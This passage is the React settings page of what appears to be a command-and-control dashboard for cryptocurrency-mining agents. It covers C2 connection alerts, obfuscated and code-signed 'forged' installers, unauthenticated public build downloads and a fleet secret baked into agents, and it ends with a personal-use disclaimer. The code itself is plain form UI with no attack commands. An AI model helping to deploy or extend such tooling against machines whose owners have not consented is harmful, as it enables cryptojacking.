            or read it from <code>getUpdates</code> on the Bot API. Save Calibrate, then test.
          </p>
          <div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap', marginBottom: '0.75rem' }}>
            <button
              type="button"
              className="btn btn-outline btn-sm"
              disabled={testingAlerts}
              onClick={handleTestAlerts}
            >
              {testingAlerts ? 'Sending…' : 'Send test notification'}
            </button>
            {alertTestMsg && <span className="mono" style={{ fontSize: '0.85rem', color: '#9ee0ff' }}>{alertTestMsg}</span>}
          </div>
          <h3 className="font-display" style={{ fontSize: '1rem', margin: '1rem 0 0.5rem' }}>Notify me when…</h3>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_connect !== false}
                onChange={(e) => updateField('alerts.notify_agent_connect', e.target.checked)} />
              <span>New agent connects to C2 (first time seen)</span>
            </label>
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_reconnect !== false}
                onChange={(e) => updateField('alerts.notify_agent_reconnect', e.target.checked)} />
              <span>Agent reconnects (back online or session takeover)</span>
            </label>
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_offline !== false}
                onChange={(e) => updateField('alerts.notify_agent_offline', e.target.checked)} />
              <span>Agent offline past threshold</span>
            </label>
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={config.alerts.notify_hashrate_drop !== false}
                onChange={(e) => updateField('alerts.notify_hashrate_drop', e.target.checked)} />
              <span>Hashrate drops below threshold</span>
            </label>
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={config.alerts.notify_rejection_rate !== false}
                onChange={(e) => updateField('alerts.notify_rejection_rate', e.target.checked)} />
              <span>Share rejection rate spikes</span>
            </label>
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={config.alerts.notify_build_complete !== false}
                onChange={(e) => updateField('alerts.notify_build_complete', e.target.checked)} />
              <span>Forge completes successfully</span>
            </label>
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={config.alerts.notify_kev_exposure !== false}
                onChange={(e) => updateField('alerts.notify_kev_exposure', e.target.checked)} />
              <span>KEV exposure found on Full System Check (CISA top CVE heuristics)</span>
            </label>
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}
                onChange={(e) => updateField('alerts.email_enabled', e.target.checked)} />
              <span>Email alerts via SMTP</span>
            </label>
          </div>
          {config.alerts.email_enabled && (
            <>
              <div className="form-row">
                <div className="form-group">
                  <label htmlFor="cfg-smtp-host" className="label">SMTP Host</label>
                  <input id="cfg-smtp-host" type="text" className="input" value={config.alerts.smtp_host || ''}
                    onChange={(e) => updateField('alerts.smtp_host', e.target.value)} />
                </div>
                <div className="form-group">
                  <label htmlFor="cfg-smtp-port" className="label">SMTP Port</label>
                  <input id="cfg-smtp-port" type="number" className="input" value={config.alerts.smtp_port || 587}
                    onChange={(e) => updateField('alerts.smtp_port', parseInt(e.target.value) || 587)} />
                </div>
              </div>
              <div className="form-row">
                <div className="form-group">
                  <label htmlFor="cfg-smtp-user" className="label">SMTP User</label>
                  <input id="cfg-smtp-user" type="text" className="input" value={config.alerts.smtp_user || ''}
                    onChange={(e) => updateField('alerts.smtp_user', e.target.value)} />
                </div>
                <div className="form-group">
                  <label htmlFor="cfg-smtp-pass" className="label">SMTP Password</label>
                  <input id="cfg-smtp-pass" type="password" className="input" value={config.alerts.smtp_password || ''}
                    onChange={(e) => updateField('alerts.smtp_password', e.target.value)} />
                </div>
              </div>
              <div className="form-row">
                <div className="form-group">
                  <label htmlFor="cfg-email-to" className="label">Email To</label>
                  <input id="cfg-email-to" type="email" className="input" value={config.alerts.email_to || ''}
                    onChange={(e) => updateField('alerts.email_to', e.target.value)} />
                </div>
                <div className="form-group">
                  <label htmlFor="cfg-email-from" className="label">Email From</label>
                  <input id="cfg-email-from" type="email" className="input" value={config.alerts.email_from || ''}
                    onChange={(e) => updateField('alerts.email_from', e.target.value)} />
                </div>
              </div>
            </>
          )}
        </NeonCard>

        <NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Emberwake / Public Builds</h2>
          <p className="section-desc">
            Control which forged installers appear on the login-page public builds drawer and unauthenticated{' '}
            <code className="mono-sm">/api/v1/public/builds</code> API. Mark individual builds public in Builds, or
            enable all-builds mode below.
          </p>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input
                type="checkbox"
                className="checkbox"
                checked={s.public_builds_enabled ?? false}
                onChange={(e) => updateField('server.public_builds_enabled', e.target.checked)}
              />
              <span>Expose all builds on public API (no login)</span>
            </label>
          </div>
          <div className="form-group">
            <label htmlFor="cfg-public-latest-n" className="label">Latest N on login drawer</label>
            <input
              id="cfg-public-latest-n"
              type="number"
              className="input"
              min={1}
              max={50}
              value={s.public_builds_latest_n ?? 3}
              onChange={(e) => updateField('server.public_builds_latest_n', parseInt(e.target.value, 10) || 3)}
            />
            <span className="form-hint">
              When all-builds mode is off, login drawer lists pinned + explicitly public builds + this many recent forges.
            </span>
          </div>
        </NeonCard>

        <NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Forge Pipeline</h2>
          <p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={s.obfuscate_default ?? false}
                onChange={(e) => updateField('server.obfuscate_default', e.target.checked)} />
              <span>Default: obfuscate new forges with Garble <HelpTip field="obfuscate_default" /></span>
            </label>
            <FieldHint field="obfuscate_default" />
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={s.sign_enabled ?? false}
                onChange={(e) => updateField('server.sign_enabled', e.target.checked)} />
              <span>Default: sign forged executables <HelpTip field="sign_enabled" /></span>
            </label>
            <FieldHint field="sign_enabled" />
          </div>
          <div className="form-group">
            <label htmlFor="cfg-sign-cert" className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
            <input id="cfg-sign-cert" type="text" className="input mono" placeholder="AB CD EF ..."
              value={s.sign_cert_thumbprint || ''}
              onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
            <FieldHint field="sign_cert_thumbprint" />
          </div>
          <div className="form-group">
            <label htmlFor="cfg-sign-tool" className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
            <input id="cfg-sign-tool" type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
              value={s.sign_tool_path || ''}
              onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
          </div>
          <div className="form-group">
            <label htmlFor="cfg-sign-ts" className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
            <input id="cfg-sign-ts" type="text" className="input mono"
              value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
              onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
            <FieldHint field="sign_timestamp_url" />
          </div>
        </NeonCard>

        <NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Data & Limits</h2>
          <p className="section-desc">Retention and capacity for this host.</p>
          <div className="form-row">
            <div className="form-group">
              <label htmlFor="cfg-stats-ret" className="label">Stats Retention (hours)</label>
              <input id="cfg-stats-ret" type="number" className="input" min={24} value={s.stats_retention_hours}
                onChange={(e) => updateField('server.stats_retention_hours', parseInt(e.target.value) || 168)} />
            </div>
            <div className="form-group">
              <label htmlFor="cfg-build-ret" className="label">Keep Builds (days)</label>
              <input id="cfg-build-ret" type="number" className="input" min={1} value={s.build_retention_days}
                onChange={(e) => updateField('server.build_retention_days', parseInt(e.target.value) || 30)} />
            </div>
          </div>
          <div className="form-row">
            <div className="form-group">
              <label htmlFor="cfg-max-agents" className="label">Max Agents</label>
              <input id="cfg-max-agents" type="number" className="input" min={1} value={s.max_agents}
                onChange={(e) => updateField('server.max_agents', parseInt(e.target.value) || 256)} />
            </div>
            <div className="form-group">
              <label htmlFor="cfg-max-build-mb" className="label">Max Build Size (MB)</label>
              <input id="cfg-max-build-mb" type="number" className="input" min={10} value={s.max_build_size_mb}
                onChange={(e) => updateField('server.max_build_size_mb', parseInt(e.target.value) || 150)} />
            </div>
          </div>
          <div className="form-group">
            <label htmlFor="cfg-ws-ping" className="label">WebSocket Ping (sec)</label>
            <input id="cfg-ws-ping" type="number" className="input" min={10} value={s.websocket_ping_seconds}
              onChange={(e) => updateField('server.websocket_ping_seconds', parseInt(e.target.value) || 30)} />
          </div>
        </NeonCard>

        <NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Server Logging</h2>
          <p className="section-desc">What this control server writes to its log.</p>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={s.log_agent_connections}
                onChange={(e) => updateField('server.log_agent_connections', e.target.checked)} />
              <span>Log agent connect / disconnect</span>
            </label>
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={s.log_share_submissions}
                onChange={(e) => updateField('server.log_share_submissions', e.target.checked)} />
              <span>Log every share submission</span>
            </label>
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={s.log_pool_traffic}
                onChange={(e) => updateField('server.log_pool_traffic', e.target.checked)} />
              <span>Verbose pool traffic (debug)</span>
            </label>
          </div>
        </NeonCard>

        <NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Access Control</h2>
          <p className="section-desc">
            API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
          </p>
          <div className="form-row">
            <div className="form-group">
              <label htmlFor="cfg-session-user" className="label">Browser session — username</label>
              <input id="cfg-session-user" type="text" className="input" placeholder="admin" value={sessionUser}
                onChange={(e) => setSessionUser(e.target.value)} />
            </div>
            <div className="form-group">
              <label htmlFor="cfg-session-pass" className="label">Browser session — password</label>
              <input id="cfg-session-pass" type="password" className="input" value={sessionPass}
                onChange={(e) => setSessionPass(e.target.value)} />
            </div>
          </div>
          <div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap', marginBottom: '1rem' }}>
            <button type="button" className="btn btn-primary" onClick={handleSessionLogin} disabled={!sessionUser || !sessionPass}>
              Save session login
            </button>
            <button type="button" className="btn btn-outline" onClick={handleSessionLogout}>
              Clear session
            </button>
            {getStoredAuth() && <span className="form-hint" style={{ alignSelf: 'center' }}>Session active</span>}
          </div>
          <div className="form-row">
            <div className="form-group">
              <label htmlFor="cfg-new-user" className="label">New Username</label>
              <input id="cfg-new-user" type="text" className="input" placeholder="admin" value={newUser}
                onChange={(e) => setNewUser(e.target.value)} />
            </div>
            <div className="form-group">
              <label htmlFor="cfg-new-pass" className="label">New Password</label>
              <input id="cfg-new-pass" type="password" className="input" placeholder="••••••••" value={newPass}
                onChange={(e) => setNewPass(e.target.value)} />
            </div>
          </div>
          <button className="btn btn-outline" onClick={handleAddUser} disabled={!newUser || !newPass}>
            Add User
          </button>
          {userMsg && (
            <div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
          )}
        </NeonCard>

        <FleetRuntimePanel />

        <NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Fleet Security</h2>
          <p className="section-desc">
            A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.
            Agents without the correct secret are rejected. Use rotation if the secret is compromised —
            it immediately kicks all connected agents; re-forge to reconnect.
          </p>
          <div style={{ display: 'flex', alignItems: 'center', gap: '1rem', flexWrap: 'wrap' }}>
            <button
              type="button"
              className="btn btn-outline"
              style={{ borderColor: 'var(--accent-red)', color: 'var(--accent-red)' }}
              onClick={handleRotateSecret}
              disabled={rotatingSecret}
            >
              {rotatingSecret ? 'Rotating…' : 'Rotate Fleet Secret'}
            </button>
            <span className="form-hint" style={{ color: 'var(--accent-amber)' }}>
              ⚠ Kicks all agents. You must re-forge after rotating.
            </span>
          </div>
          {rotateMsg && (
            <p style={{ marginTop: '0.5rem', color: rotateMsg.startsWith('Rotation failed') ? '#ff4444' : '#00ff44', fontSize: '0.9rem' }}>
              {rotateMsg}
            </p>
          )}
        </NeonCard>
      </div>

      <div style={{ marginTop: '1.5rem', display: 'grid', gap: '1rem' }}>
        <FleetTasksPanel />
        <AuditLogStrip limit={12} />
      </div>

      <footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
        ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
      </footer>
    </div>
  );
}
